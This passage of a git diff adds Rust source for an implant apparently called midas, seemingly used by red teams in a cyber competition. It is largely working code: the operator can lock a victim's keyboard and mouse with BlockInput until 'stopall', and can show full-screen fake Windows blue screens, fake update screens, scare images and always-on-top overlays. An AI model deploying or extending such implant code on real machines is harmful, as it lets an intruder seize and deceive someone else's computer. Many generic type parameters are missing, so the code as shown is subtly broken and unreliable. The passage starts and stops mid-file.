+        status.push_str("; eframe unavailable, using gdi");
+    }
+
+    status
+}
+
+// ---------------------------------------------------------------------------
+// Public surface used by commands.rs
+// ---------------------------------------------------------------------------
+
+pub fn open_image(
+    path: &str,
+    mode: &str,
+    duration: Option,
+    topmost: bool,
+) -> Result {
+    require_readable_file(path)?;
+
+    submit(
+        Overlay::Image {
+            path: path.to_string(),
+            mode: mode.to_string(),
+            topmost,
+        },
+        duration,
+    )
+}
+
+pub fn open_scare(path: &str, duration: Option) -> Result {
+    require_readable_file(path)?;
+
+    submit(
+        Overlay::Scare {
+            path: path.to_string(),
+        },
+        duration,
+    )
+}
+
+pub fn open_bsod(stopcode: &str, percent: i64, duration: Option) -> Result {
+    submit(
+        Overlay::Bsod {
+            stopcode: stopcode.to_string(),
+            percent,
+        },
+        duration,
+    )
+}
+
+pub fn open_update(title: &str, percent: i64, duration: Option) -> Result {
+    submit(
+        Overlay::Update {
+            title: title.to_string(),
+            percent,
+        },
+        duration,
+    )
+}
+
+pub fn open_toast(title: &str, body: &str, duration: Option) -> Result {
+    submit(
+        Overlay::Toast {
+            title: title.to_string(),
+            body: body.to_string(),
+        },
+        duration,
+    )
+}
+
+pub fn open_note(
+    text: &str,
+    x: i64,
+    y: i64,
+    size: i64,
+    duration: Option,
+) -> Result {
+    submit(
+        Overlay::Note {
+            text: text.to_string(),
+            x,
+            y,
+            size,
+        },
+        duration,
+    )
+}
+
+pub fn open_spook(mode: &str, duration: Option) -> Result {
+    submit(
+        Overlay::Spook {
+            mode: mode.to_string(),
+        },
+        duration,
+    )
+}
+
+/// Cancels every overlay - including any that is still queued - ends sound, and
+/// releases any running input hold.
+///
+/// Returns how many overlays were running. A request submitted after this call
+/// is unaffected, which is what makes `stopall` usable as a cleanup step in
+/// front of a fresh prank.
+pub fn stop_all() -> usize {
+    // Bumping the epoch first means a request submitted after this point is
+    // unaffected, while anything queued before it is cancelled on arrival.
+    STOP_EPOCH.fetch_add(1, Ordering::SeqCst);
+
+    // `PlaySoundW` has no process to kill and cannot be interrupted any other
+    // way; re-issuing it with a null sound is the documented way to stop it.
+    win::stop_sound();
+
+    // A continuous `lockinput` is unblocked here. It has to be: there is
+    // nothing else that can end one, and input held until nothing can end it is
+    // the one outcome `stopall` exists to prevent.
+    release_input_lock();
+
+    let registry = registry();
+    let Ok(active) = registry.lock() else {
+        return 0;
+    };
+
+    let count = active.len();
+    for entry in active.values() {
+        entry.cancel.store(true, Ordering::SeqCst);
+    }
+    count
+}
+
+// ---------------------------------------------------------------------------
+// Input hold (`lockinput`)
+//
+// `BlockInput` is a single system-wide flag: there is no handle to whoever set
+// it, no way to ask who holds it, and clearing it clears it for everyone. So
+// holds are serialised by generation rather than by handing out and revoking
+// tokens. A hold is the current one or it is nothing; a superseded hold gives
+// up without touching the flag, and `release_input_lock` (used by `stopall`)
+// clears the flag directly and bumps the generation so the holder sees it no
+// longer owns anything.
+// ---------------------------------------------------------------------------
+
+/// Serial number of the current input hold.
+///
+/// Incremented when a new hold starts and when `stopall` releases. A holder
+/// unblocks only if it is still the current generation when its turn ends, so
+/// an overtaken hold can never clear a newer one's block.
+static INPUT_GEN: AtomicU64 = AtomicU64::new(0);
+
+/// A running `lockinput` hold, so `sysinfo` and `stopall` can see and end it.
+#[derive(Clone)]
+struct InputHold {
+    gen: u64,
+    born: SystemTime,
+}
+
+static INPUT_HOLD: OnceLock>> = OnceLock::new();
+
+fn input_hold() -> &'static Mutex> {
+    INPUT_HOLD.get_or_init(|| Mutex::new(None))
+}
+
+/// The generation of the current hold, read by `win::hold_input`.
+pub(crate) fn current_input_gen() -> u64 {
+    INPUT_GEN.load(Ordering::SeqCst)
+}
+
+/// Starts an input hold and returns immediately.
+///
+/// `seconds == 0` holds until `stopall`; anything else is an approximate
+/// timeout (the worker polls, so the real release lands within 100 ms of the
+/// mark). The `BlockInput` call itself happens on the worker thread, so an
+/// implant that is not elevated acks optimistically and reports the refusal in
+/// its own log, exactly as before - and clears the registry entry so `sysinfo`
+/// never claims a lock exists when it does not.
+pub fn lock_input(seconds: u64) -> Result<(), String> {
+    let duration = if seconds == 0 {
+        None
+    } else {
+        Some(Duration::from_secs(seconds))
+    };
+
+    // A new hold supersedes any running one. Bumping *before* the new holder
+    // blocks means an older holder that finishes in the same instant sees it is
+    // no longer current and does not clear the new block.
+    let gen = INPUT_GEN.fetch_add(1, Ordering::SeqCst) + 1;
+
+    if let Ok(mut hold) = input_hold().lock() {
+        *hold = Some(InputHold {
+            gen,
+            born: SystemTime::now(),
+        });
+    }
+
+    detach(move || {
+        if let Err(e) = win::hold_input(gen, duration) {
+            crate::log::log_lazy(|| format!("lockinput failed: {e}"));
+        }
+
+        // Clear the registry entry, but only if it still describes this hold -
+        // a newer one may have taken over while the worker was finishing.
+        if let Ok(mut hold) = input_hold().lock() {
+            if hold.as_ref().is_some_and(|h| h.gen == gen) {
+                *hold = None;
+            }
+        }
+    });
+
+    Ok(())
+}
+
+/// Whether a `lockinput` hold is registered as running.
+pub fn input_lock_active() -> bool {
+    input_hold()
+        .lock()
+        .map(|hold| hold.is_some())
+        .unwrap_or(false)
+}
+
+/// The status line for `sysinfo`, or `None` when nothing is held.
+pub fn input_lock_status() -> Option {
+    let hold = input_hold().lock().ok().and_then(|h| h.clone())?;
+    let age = hold.born.elapsed().map(|d| d.as_secs()).unwrap_or(0);
+    Some(format!("input lock: active for {age}s, until stopall"))
+}
+
+/// Ends any running input hold.
+///
+/// Idempotent and safe to call when nothing is held: clearing the flag is a
+/// no-op for an unlocked system, which is how `stopall` can do it on every
+/// call. The generation bump stops the holding thread from clearing the flag it
+/// no longer owns - by the time it notices, `unblock_input` has already cleared
+/// it, and re-clearing is harmless anyway.
+pub fn release_input_lock() {
+    INPUT_GEN.fetch_add(1, Ordering::SeqCst);
+    win::unblock_input();
+    if let Ok(mut hold) = input_hold().lock() {
+        *hold = None;
+    }
+}
+
+/// Checks a file exists and is readable before an ack is sent.
+///
+/// The GUI thread decodes the image itself, but by then the operator has
+/// already been told the overlay launched. A cheap up-front check means a
+/// mistyped path comes back as a failed task result instead of an ack for an
+/// overlay that never appeared.
+pub fn require_readable_file(path: &str) -> Result<(), String> {
+    if path.trim().is_empty() {
+        return Err("path is empty".into());
+    }
+
+    let metadata = std::fs::metadata(path).map_err(|e| format!("{path}: {e}"))?;
+    if !metadata.is_file() {
+        return Err(format!("{path} is not a file"));
+    }
+
+    Ok(())
+}
+
+pub fn describe_overlays() -> String {
+    let registry = registry();
+    let Ok(active) = registry.lock() else {
+        return "overlay registry is poisoned".to_string();
+    };
+
+    if active.is_empty() {
+        return "no overlays running".to_string();
+    }
+
+    let mut lines: Vec = active
+        .values()
+        .map(|entry| {
+            let age = entry
+                .born
+                .elapsed()
+                .map(|d| d.as_secs())
+                .unwrap_or(0);
+            let lifetime = match entry.deadline {
+                Some(deadline) => {
+                    let left = deadline.saturating_duration_since(Instant::now()).as_secs();
+                    format!("{age}s old, {left}s left")
+                }
+                None => format!("{age}s old, until stopall"),
+            };
+            format!("#{} {} ({lifetime})", entry.id, entry.label)
+        })
+        .collect();
+
+    lines.sort();
+    lines.join("\n")
+}
+
+/// Runs a blocking native call on a worker thread and returns immediately.
+///
+/// Used for everything that would otherwise hold the check-in loop: modal
+/// dialogs, audio, window shaking, input blocking. Panics from raw OS calls are
+/// contained so a failed prank cannot take the implant down mid-competition.
+pub fn detach(work: F)
+where
+    F: FnOnce() + Send + 'static,
+{
+    std::thread::spawn(move || {
+        let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(work));
+    });
+}
+
+// ---------------------------------------------------------------------------
+// Called by the GUI thread
+// ---------------------------------------------------------------------------
+
+pub(crate) fn register_active(active: Active) {
+    if let Ok(mut registry) = registry().lock() {
+        registry.insert(active.id, active);
+    }
+}
+
+pub(crate) fn unregister_active(id: u64) {
+    if let Ok(mut registry) = registry().lock() {
+        registry.remove(&id);
+    }
+}
+
+pub(crate) fn current_stop_epoch() -> u64 {
+    STOP_EPOCH.load(Ordering::SeqCst)
+}
+
+// ---------------------------------------------------------------------------
+// Stopping things that block
+//
+// Windows needs none of the polling machinery a process-based backend would.
+// `PlaySoundW` is in-process and is ended by calling it again with a null
+// sound; a message box is dismissed with its own OK button; a blocked cursor is
+// restored by the thread that moved it; a `BlockInput` hold is ended by
+// clearing the system-wide flag directly (see `Input hold` above). `stop_all`
+// reaches each of those directly, which is why it returns immediately rather
+// than waiting for anything to wind down.
+// ---------------------------------------------------------------------------
diff --git a/implants/midas/src/gui/overlay.rs b/implants/midas/src/gui/overlay.rs
new file mode 100644
index 0000000..b8ba2fa
--- /dev/null
+++ b/implants/midas/src/gui/overlay.rs
@@ -0,0 +1,969 @@
+//! The egui application that hosts every overlay.
+//!
+//! One `eframe` instance, one winit event loop, many viewports. See the module
+//! docs in `gui/mod.rs` for why that is the only shape that works.
+//!
+//! Overlays are drawn rather than borrowed from native widgets because there is
+//! no native "fake blue screen" to borrow. The exception is `msgbox`, which uses
+//! the real `MessageBoxW` on Windows precisely *because* a genuine system dialog
+//! is the joke - see `gui/win.rs`.
+//!
+//! ## Drawing style
+//!
+//! Each overlay's callback shows an empty `CentralPanel` purely to obtain a
+//! `LayerId` and the viewport's available rect, then paints with the returned
+//! `Painter`. That is deliberate: the panels' default frame, margins and
+//! `CentralPanel` styling are all unwanted for a full-bleed fake dialog, and
+//! painting directly keeps every element positioned in absolute pixels.
+
+use std::collections::HashMap;
+use std::sync::atomic::Ordering;
+use std::sync::mpsc::Receiver;
+use std::time::{Duration, Instant, SystemTime};
+
+use egui::{
+    pos2, vec2, Align2, CentralPanel, Color32, Context, FontId, Frame, Painter, Pos2, Rect, Stroke,
+    TextureHandle, TextureOptions, Vec2, ViewportBuilder, ViewportId, WindowLevel,
+};
+
+use super::{current_stop_epoch, register_active, unregister_active, Active, Overlay, Request};
+use crate::rng::Rng;
+
+/// Animated overlays redraw on this cadence. A full-rate repaint would peg a
+/// core for the lifetime of a `spook` overlay; 20fps is plenty for static.
+const SPOOK_FRAME_MS: u64 = 50;
+
+/// Textures larger than this are downscaled before upload.
+///
+/// The ceiling is not arbitrary: egui's default `max_texture_side` is 2048, and
+/// `load_texture` debug-asserts against it. Going above that would need the
+/// context's option changed as well.
+const MAX_TEXTURE_DIM: u32 = 2048;
+
+/// The UV rectangle covering a whole texture.
+const UV_FULL: Rect = Rect {
+    min: Pos2::ZERO,
+    max: pos2(1.0, 1.0),
+};
+
+/// Decoded, ready-to-draw overlay state.
+enum Content {
+    Image {
+        texture: TextureHandle,
+        natural: Vec2,
+        mode: String,
+        topmost: bool,
+    },
+    Bsod {
+        stopcode: String,
+        percent: i64,
+    },
+    Update {
+        title: String,
+        percent: i64,
+    },
+    Toast {
+        title: String,
+        body: String,
+    },
+    Note {
+        text: String,
+        x: f32,
+        y: f32,
+        size: f32,
+    },
+    Spook {
+        mode: String,
+    },
+}
+
+struct Live {
+    content: Content,
+    cancel: std::sync::Arc,
+    deadline: Option,
+}
+
+// ---------------------------------------------------------------------------
+// Entry point
+// ---------------------------------------------------------------------------
+
+pub(crate) fn run(rx: Receiver) {
+    let options = eframe::NativeOptions {
+        // The root viewport is never shown; every visible surface is a child
+        // viewport. Without this there is a stray 1x1 window on the desktop.
+        viewport: ViewportBuilder::default()
+            .with_app_id("midas-root")
+            .with_visible(false)
+            .with_decorations(false)
+            .with_inner_size([1.0, 1.0]),
+        ..Default::default()
+    };
+
+    // Both an error and a panic have to be reported rather than swallowed.
+    //
+    // `run_native` returning is the only signal the check-in thread gets, and it
+    // only ever learns "the channel is dead" - which says nothing about the
+    // cause. The overwhelmingly common cause is a target with no usable OpenGL
+    // implementation, such as a bare VM or an RDP session, where context
+    // creation fails before the first frame. That is an operator-facing fact:
+    // every overlay command will fail on this host, and the reason should come
+    // back in the task result instead of a generic message.
+    let outcome = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
+        eframe::run_native(
+            "midas",
+            options,
+            Box::new(move |_cc| Ok(Box::new(OverlayApp { rx, live: HashMap::new() }))),
+        )
+    }));
+
+    let reason = match outcome {
+        Ok(Ok(())) => "the overlay event loop exited on its own".to_string(),
+        Ok(Err(e)) => format!("could not start the overlay event loop: {e}"),
+        Err(panic) => {
+            // A panic payload is a `&str` or `String` depending on how it was
+            // raised, and anything else is not worth printing.
+            let payload = panic
+                .downcast_ref::<&str>()
+                .map(|s| (*s).to_string())
+                .or_else(|| panic.downcast_ref::().cloned())
+                .unwrap_or_else(|| "(no message)".to_string());
+
+            format!(
+                "the overlay event loop panicked: {}",
+                crate::log::normalise_panic(&payload)
+            )
+        }
+    };
+
+    super::record_host_failure(reason);
+}
+
+struct OverlayApp {
+    rx: Receiver,
+    live: HashMap,
+}
+
+impl eframe::App for OverlayApp {
+    fn update(&mut self, ctx: &Context, _frame: &mut eframe::Frame) {
+        self.drain(ctx);
+        self.expire();
+
+        let screen = screen_rect(ctx);
+        let time = ctx.input(|i| i.time);
+
+        let ids: Vec = self.live.keys().copied().collect();
+        let mut animated: Vec = Vec::new();
+
+        for id in ids {
+            let Some(live) = self.live.get_mut(&id) else {
+                continue;
+            };
+
+            let viewport_id = ViewportId::from_hash_of(id);
+            let builder = live.content.builder(ctx, id, screen);
+
+            if live.content.animated() {
+                animated.push(viewport_id);
+            }
+
+            // A viewport stays alive for as long as `show_viewport_immediate` is
+            // called with the same id, so dropping the entry in `expire` is what
+            // closes the window.
+            ctx.show_viewport_immediate(viewport_id, builder, |ctx, _class| {
+                let panel = CentralPanel::default()
+                    .frame(Frame::none())
+                    .show(ctx, |_ui| {});
+
+                let rect = panel.response.rect;
+                let mut painter = panel.response.ctx.layer_painter(panel.response.layer_id);
+                painter.set_clip_rect(rect);
+
+                live.content.draw(&mut painter, rect, time, id);
+            });
+        }
+
+        // Repaints are requested per-viewport so the other overlays do not have
+        // to be redrawn 20 times a second just because one is animating.
+        for viewport_id in animated {
+            ctx.request_repaint_after_for(Duration::from_millis(SPOOK_FRAME_MS), viewport_id);
+        }
+    }
+
+    fn on_exit(&mut self, _gl: Option<&eframe::glow::Context>) {
+        for id in self.live.keys() {
+            unregister_active(*id);
+        }
+        self.live.clear();
+    }
+}
+
+impl OverlayApp {
+    fn drain(&mut self, ctx: &Context) {
+        while let Ok(request) = self.rx.try_recv() {
+            // A stop that landed between submission and this drain wins. See the
+            // STOP_EPOCH note in gui/mod.rs.
+            if request.epoch < current_stop_epoch() {
+                continue;
+            }
+
+            match prepare(&request, ctx) {
+                Ok(content) => {
+                    let deadline = request.duration.map(|d| Instant::now() + d);
+
+                    register_active(Active {
+                        id: request.id,
+                        label: request.kind.label(),
+                        born: SystemTime::now(),
+                        deadline,
+                        cancel: request.cancel.clone(),
+                    });
+
+                    self.live.insert(
+                        request.id,
+                        Live {
+                            content,
+                            cancel: request.cancel,
+                            deadline,
+                        },
+                    );
+                }
+                Err(e) => {
+                    // Paths are checked before the ack is sent, so reaching here
+                    // means the file became unreadable, or stopped being a
+                    // decodable image, in between.
+                    crate::log::log(&format!("overlay {} failed: {e}", request.id));
+                }
+            }
+        }
+    }
+
+    fn expire(&mut self) {
+        let now = Instant::now();
+
+        let expired: Vec = self
+            .live
+            .iter()
+            .filter(|(_, live)| {
+                live.cancel.load(Ordering::SeqCst)
+                    || live.deadline.is_some_and(|d| now >= d)
+            })
+            .map(|(id, _)| *id)
+            .collect();
+
+        for id in expired {
+            self.live.remove(&id);
+            unregister_active(id);
+        }
+    }
+}
+
+/// The whole screen, falling back to a plausible desktop if the backend has not
+/// reported one yet.
+fn screen_rect(ctx: &Context) -> Rect {
+    let rect = ctx.input(|i| i.screen_rect);
+    if rect.width() > 0.0 && rect.height() > 0.0 {
+        rect
+    } else {
+        // Reported as `Rect::NOTHING` until the first frame completes, which
+        // would otherwise produce zero-sized viewports on the first pass.
+        Rect::from_min_size(Pos2::ZERO, vec2(1920.0, 1080.0))
+    }
+}
+
+// ---------------------------------------------------------------------------
+// Preparation
+// ---------------------------------------------------------------------------
+
+fn prepare(request: &Request, ctx: &Context) -> Result {
+    match &request.kind {
+        Overlay::Image {
+            path,
+            mode,
+            topmost,
+        } => {
+            let (texture, natural) = load_texture(ctx, path)?;
+            Ok(Content::Image {
+                texture,
+                natural,
+                mode: mode.clone(),
+                topmost: *topmost,
+            })
+        }
+
+        // A scare is just a fullscreen image; the sound half is played by the
+        // command layer so this side stays purely visual.
+        Overlay::Scare { path } => {
+            let (texture, natural) = load_texture(ctx, path)?;
+            Ok(Content::Image {
+                texture,
+                natural,
+                mode: "fullscreen".to_string(),
+                topmost: true,
+            })
+        }
+
+        Overlay::Bsod { stopcode, percent } => Ok(Content::Bsod {
+            stopcode: stopcode.clone(),
+            percent: *percent,
+        }),
+
+        Overlay::Update { title, percent } => Ok(Content::Update {
+            title: title.clone(),
+            percent: *percent,
+        }),
+
+        Overlay::Toast { title, body } => Ok(Content::Toast {
+            title: title.clone(),
+            body: body.clone(),
+        }),
+
+        Overlay::Note { text, x, y, size } => Ok(Content::Note {
+            text: text.clone(),
+            x: *x as f32,
+            y: *y as f32,
+            size: *size as f32,
+        }),
+
+        Overlay::Spook { mode } => Ok(Content::Spook {
+            mode: mode.clone(),
+        }),
+    }
+}
+
+fn load_texture(ctx: &Context, path: &str) -> Result<(TextureHandle, Vec2), String> {
+    let bytes = std::fs::read(path).map_err(|e| format!("{path}: {e}"))?;
+    let decoded = image::load_from_memory(&bytes)
+        .map_err(|e| format!("{path}: {e}"))?
+        .to_rgba8();
+
+    let (width, height) = decoded.dimensions();
+    if width == 0 || height == 0 {
+        return Err(format!("{path}: image has no dimensions"));
+    }
+
+    let decoded = if width > MAX_TEXTURE_DIM || height > MAX_TEXTURE_DIM {
+        let scale = MAX_TEXTURE_DIM as f32 / width.max(height) as f32;
+        image::imageops::resize(
+            &decoded,
+            (width as f32 * scale).round() as u32,
+            (height as f32 * scale).round() as u32,
+            image::imageops::FilterType::Triangle,
+        )
+    } else {
+        decoded
+    };
+
+    let (width, height) = decoded.dimensions();
+    let natural = Vec2::new(width as f32, height as f32);
+    let color = egui::ColorImage::from_rgba_unmultiplied(
+        [width as usize, height as usize],
+        decoded.as_raw(),
+    );
+
+    let texture = ctx.load_texture(
+        format!("midas-{path}"),
+        color,
+        TextureOptions::LINEAR,
+    );
+
+    Ok((texture, natural))
+}
+
+// ---------------------------------------------------------------------------
+// Viewport geometry
+// ---------------------------------------------------------------------------
+
+impl Content {
+    fn animated(&self) -> bool {
+        matches!(self, Content::Spook { .. })
+    }
+
+    fn builder(&self, ctx: &Context, id: u64, screen: Rect) -> ViewportBuilder {
+        let app_id = format!("midas-{id}");
+        let title = format!("midas {id}");
+        let screen = screen.size();
+
+        let base = ViewportBuilder::default()
+            .with_app_id(app_id)
+            .with_title(title)
+            .with_decorations(false)
+            .with_resizable(false);
+
+        match self {
+            Content::Image {
+                natural, mode, topmost, ..
+            } => {
+                let size = match mode.as_str() {
+                    "fullscreen" => screen,
+                    "center" => *natural,
+                    // `fit` is the only remaining mode, so it is the default arm.
+                    _ => *natural * 0.7,
+                };
+
+                let size = Vec2::new(
+                    size.x.min(screen.x).max(1.0),
+                    size.y.min(screen.y).max(1.0),
+                );
+
+                base.with_inner_size(size)
+                    .with_position(pos2(
+                        ((screen.x - size.x) / 2.0).round(),
+                        ((screen.y - size.y) / 2.0).round(),
+                    ))
+                    .with_transparent(mode != "fullscreen")
+                    .with_window_level(if *topmost {
+                        WindowLevel::AlwaysOnTop
+                    } else {
+                        // `Normal` rather than "unset": a viewport level must
+                        // be chosen explicitly to override whatever the root
+                        // window happens to use.
+                        WindowLevel::Normal
+                    })
+            }
+
+            Content::Bsod { .. } | Content::Update { .. } | Content::Spook { .. } => base
+                .with_fullscreen(true)
+                .with_window_level(WindowLevel::AlwaysOnTop),
+
+            Content::Toast { title, body } => {
+                let _ = title;
+
+                // Measure the body so a long notification is not clipped by a
+                // fixed-height window.
+                let galley = ctx.fonts(|f| {
+                    f.layout(
+                        body.clone(),
+                        FontId::proportional(13.0),
+                        Color32::PLACEHOLDER,
+                        TOAST_TEXT_WIDTH,
+                    )
+                });
+
+                let size = Vec2::new(
+                    TOAST_TEXT_WIDTH + TOAST_PADDING * 2.0,
+                    (TOAST_HEADER + galley.size().y + TOAST_PADDING).min(320.0),
+                );
+                let margin = 16.0;
+
+                base.with_inner_size(size)
+                    .with_position(pos2(
+                        (screen.x - size.x - margin).max(0.0).round(),
+                        (screen.y - size.y - margin).max(0.0).round(),
+                    ))
+                    .with_transparent(true)
+                    .with_window_level(WindowLevel::AlwaysOnTop)
+            }
+
+            Content::Note {
+                text, x, y, size: font_size, ..
+            } => {
+                let font = FontId::proportional(*font_size);
+                let galley = ctx.fonts(|f| {
+                    f.layout(
+                        text.clone(),
+                        font,
+                        Color32::PLACEHOLDER,
+                        screen.x * 0.7,
+                    )
+                });
+
+                let size = Vec2::new(
+                    (galley.size().x + 32.0).clamp(64.0, screen.x * 0.95),
+                    (galley.size().y + 24.0).max(font_size * 2.0),
+                );
+
+                base.with_inner_size(size)
+                    .with_position(pos2(
+                        x.clamp(0.0, (screen.x - size.x).max(0.0)),
+                        y.clamp(0.0, (screen.y - size.y).max(0.0)),
+                    ))
+                    .with_transparent(true)
+                    .with_window_level(WindowLevel::AlwaysOnTop)
+            }
+        }
+    }
+
+    // -----------------------------------------------------------------------
+    // Drawing
+    // -----------------------------------------------------------------------
+
+    fn draw(&self, painter: &mut Painter, rect: Rect, time: f64, seed: u64) {
+        match self {
+            Content::Image {
+                texture,
+                natural,
+                mode,
+                ..
+            } => draw_image(painter, rect, texture, *natural, mode),
+
+            Content::Bsod { stopcode, percent } => {
+                draw_bsod(painter, rect, stopcode, *percent)
+            }
+
+            Content::Update { title, percent } => {
+                draw_update(painter, rect, title, *percent)
+            }
+
+            Content::Toast { title, body } => draw_toast(painter, rect, title, body),
+
+            Content::Note { text, size, .. } => {
+                draw_note(painter, rect, text, *size)
+            }
+
+            Content::Spook { mode } => draw_spook(painter, rect, mode, time, seed),
+        }
+    }
+}
+
+// ---------------------------------------------------------------------------
+// Per-overlay painters
+// ---------------------------------------------------------------------------
+
+/// Toast metrics, shared between sizing the window and painting into it.
+const TOAST_PADDING: f32 = 14.0;
+const TOAST_TEXT_WIDTH: f32 = 320.0;
+const TOAST_HEADER: f32 = 40.0;
+const TOAST_LINE_HEIGHT: f32 = 17.0;
+
+fn draw_image(
+    painter: &Painter,
+    rect: Rect,
+    texture: &TextureHandle,
+    natural: Vec2,
+    mode: &str,
+) {
+    let (scale, offset) = if mode == "fullscreen" {
+        // `cover`: fill the viewport and let the overflow crop. More dramatic
+        // than letterboxing, which is the point for a fullscreen scare.
+        let scale = (rect.width() / natural.x).max(rect.height() / natural.y);
+        (
+            scale,
+            Vec2::new(
+                (rect.width() - natural.x * scale) / 2.0,
+                (rect.height() - natural.y * scale) / 2.0,
+            ),
+        )
+    } else {
+        // `contain`: never upscale past 1:1, never crop.
+        let scale = (rect.width() / natural.x).min(rect.height() / natural.y).min(1.0);
+        (scale, (rect.size() - natural * scale) / 2.0)
+    };
+
+    painter.image(
+        texture.id(),
+        Rect::from_min_size(rect.min + offset, natural * scale),
+        UV_FULL,
+        Color32::WHITE,
+    );
+}
+
+fn draw_bsod(painter: &Painter, rect: Rect, stopcode: &str, percent: i64) {
+    let white = Color32::WHITE;
+    painter.rect_filled(rect, 0.0, Color32::from_rgb(0, 0, 170));
+
+    let pad = rect.width() * 0.06;
+
+    // The frown, at roughly the height a real BSOD puts it.
+    let frown = FontId::monospace((rect.height() * 0.15).min(rect.width() * 0.15));
+    painter.text(
+        pos2(rect.center().x, rect.min.y + rect.height() * 0.26),
+        Align2::CENTER_CENTER,
+        ":(",
+        frown,
+        white,
+    );
+
+    let bar_size = Vec2::new(rect.width() * 0.26, 18.0);
+    let bar = Rect::from_center_size(
+        pos2(rect.center().x, rect.min.y + rect.height() * 0.52),
+        bar_size,
+    );
+    painter.rect_filled(bar, 2.0, Color32::from_white_alpha(45));
+    painter.rect_filled(
+        Rect::from_min_size(
+            bar.min,
+            Vec2::new(
+                bar_size.x * percent.clamp(0, 100) as f32 / 100.0,
+                bar_size.y,
+            ),
+        ),
+        2.0,
+        white,
+    );
+
+    painter.text(
+        pos2(rect.center().x, bar.max.y + 22.0),
+        Align2::CENTER_TOP,
+        format!("{percent}% complete"),
+        FontId::proportional(17.0),
+        white,
+    );
+
+    let body = FontId::proportional((rect.width() * 0.014).clamp(12.0, 22.0));
+    let left = pos2(rect.min.x + pad, rect.max.y - pad);
+    let right = pos2(rect.max.x - pad, rect.max.y - pad);
+
+    let lines: [(&str, Align2, Pos2); 4] = [
+        (
+            "Your PC ran into a problem and needs to restart. We're just collecting some error info, and then we'll restart for you.",
+            Align2::LEFT_BOTTOM,
+            left,
+        ),
+        (
+            "For more information about this error and possible fixes, visit",
+            Align2::LEFT_BOTTOM,
+            pos2(left.x, left.y - 46.0),
+        ),
+        (
+            "https://www.windows.com/werr",
+            Align2::LEFT_BOTTOM,
+            pos2(left.x, left.y - 70.0),
+        ),
+        ("100% complete", Align2::RIGHT_BOTTOM, right),
+    ];
+
+    for (line, anchor, at) in lines {
+        painter.text(at, anchor, line, body.clone(), white);
+    }
+
+    painter.text(
+        pos2(right.x, right.y - 46.0),
+        Align2::RIGHT_BOTTOM,
+        format!("Stop code: {stopcode}"),
+        body,
+        white,
+    );
+}
+
+fn draw_update(painter: &Painter, rect: Rect, title: &str, percent: i64) {
+    let white = Color32::WHITE;
+    let accent = Color32::from_rgb(0, 120, 215);
+
+    painter.rect_filled(rect, 0.0, Color32::from_rgb(24, 32, 48));
+
+    // A lighter band across the upper portion, approximating the Windows update
+    // screen well enough to read as "this is a system dialog".
+    painter.rect_filled(
+        Rect::from_min_size(rect.min, Vec2::new(rect.width(), rect.height() * 0.4)),
+        0.0,
+        Color32::from_rgb(32, 48, 74),
+    );
+
+    painter.text(
+        pos2(rect.center().x, rect.min.y + rect.height() * 0.30),
+        Align2::CENTER_CENTER,
+        title,
+        FontId::proportional((rect.width() * 0.026).clamp(20.0, 48.0)),
+        white,
+    );
+
+    painter.text(
+        pos2(rect.center().x, rect.min.y + rect.height() * 0.40),
+        Align2::CENTER_CENTER,
+        "Please wait while your computer installs updates",
+        FontId::proportional((rect.width() * 0.013).clamp(12.0, 22.0)),
+        Color32::from_white_alpha(200),
+    );
+
+    let bar_size = Vec2::new(rect.width() * 0.3, 8.0);
+    let bar = Rect::from_center_size(
+        pos2(rect.center().x, rect.min.y + rect.height() * 0.52),
+        bar_size,
+    );
+    painter.rect_filled(bar, 4.0, Color32::from_white_alpha(40));
+    painter.rect_filled(
+        Rect::from_min_size(
+            bar.min,
+            Vec2::new(
+                bar_size.x * percent.clamp(0, 100) as f32 / 100.0,
+                bar_size.y,
+            ),
+        ),
+        4.0,
+        accent,
+    );
+
+    painter.text(
+        pos2(rect.center().x, bar.max.y + 20.0),
+        Align2::CENTER_CENTER,
+        format!("{percent}% complete"),
+        FontId::proportional((rect.width() * 0.012).clamp(12.0, 20.0)),
+        Color32::from_white_alpha(180),
+    );
+
+    painter.text(
+        pos2(rect.center().x, rect.max.y - rect.height() * 0.12),
+        Align2::CENTER_CENTER,
+        "Do not turn off your computer",
+        FontId::proportional((rect.width() * 0.012).clamp(12.0, 20.0)),
+        Color32::from_white_alpha(150),
+    );
+}
+
+fn draw_toast(painter: &Painter, rect: Rect, title: &str, body: &str) {
+    painter.rect_filled(rect, 8.0, Color32::from_rgb(43, 43, 43));
+    painter.rect_stroke(rect, 8.0, Stroke::new(1.0, Color32::from_white_alpha(40)));
+
+    painter.text(
+        pos2(rect.min.x + TOAST_PADDING, rect.min.y + 12.0),
+        Align2::LEFT_TOP,
+        title,
+        FontId::proportional(14.0),
+        Color32::from_rgb(120, 180, 255),
+    );
+
+    // The painter's `text` does not wrap, so lines are laid out by hand. The
+    // window was sized to fit the wrapped body in `builder`, so this only
+    // truncates if the two disagree about the estimate.
+    let font = FontId::proportional(13.0);
+    let mut y = rect.min.y + TOAST_HEADER;
+
+    let max_lines = (((rect.max.y - y - 8.0) / TOAST_LINE_HEIGHT).floor() as usize).max(1);
+
+    for line in wrap_text(body, TOAST_TEXT_WIDTH, 13.0).into_iter().take(max_lines) {
+        painter.text(
+            pos2(rect.min.x + TOAST_PADDING, y),
+            Align2::LEFT_TOP,
+            line,
+            font.clone(),
+            Color32::from_gray(235),
+        );
+        y += TOAST_LINE_HEIGHT;
+    }
+}
+
+fn draw_note(painter: &Painter, rect: Rect, text: &str, size: f32) {
+    let font = FontId::proportional(size);
+
+    // Transparent window, so a drop shadow is what keeps the text legible over
+    // an arbitrary wallpaper.
+    let lines = wrap_text(text, rect.width() - 24.0, size);
+
+    for (offset, color) in [
+        (2.0, Color32::from_black_alpha(190)),
+        (0.0, Color32::from_rgb(255, 236, 120)),
+    ] {
+        let mut y = rect.min.y + 12.0 + offset;
+        for line in &lines {
+            painter.text(
+                pos2(rect.min.x + 12.0 + offset, y),
+                Align2::LEFT_TOP,
+                line,
+                font.clone(),
+                color,
+            );
+            y += size * 1.25;
+        }
+    }
+}
+
+fn draw_spook(painter: &Painter, rect: Rect, mode: &str, time: f64, seed: u64) {
+    match mode {
+        "matrix" => draw_matrix(painter, rect, time, seed),
+        "scanline" => draw_scanline(painter, rect, time),
+        "glitch" => draw_glitch(painter, rect, time, seed),
+        // `static` is the default arm, and the only mode with no time input.
+        _ => draw_static(painter, rect, time, seed),
+    }
+}
+
+fn draw_static(painter: &Painter, rect: Rect, time: f64, seed: u64) {
+    painter.rect_filled(rect, 0.0, Color32::from_gray(8));
+
+    let frame = (time * 30.0) as u64;
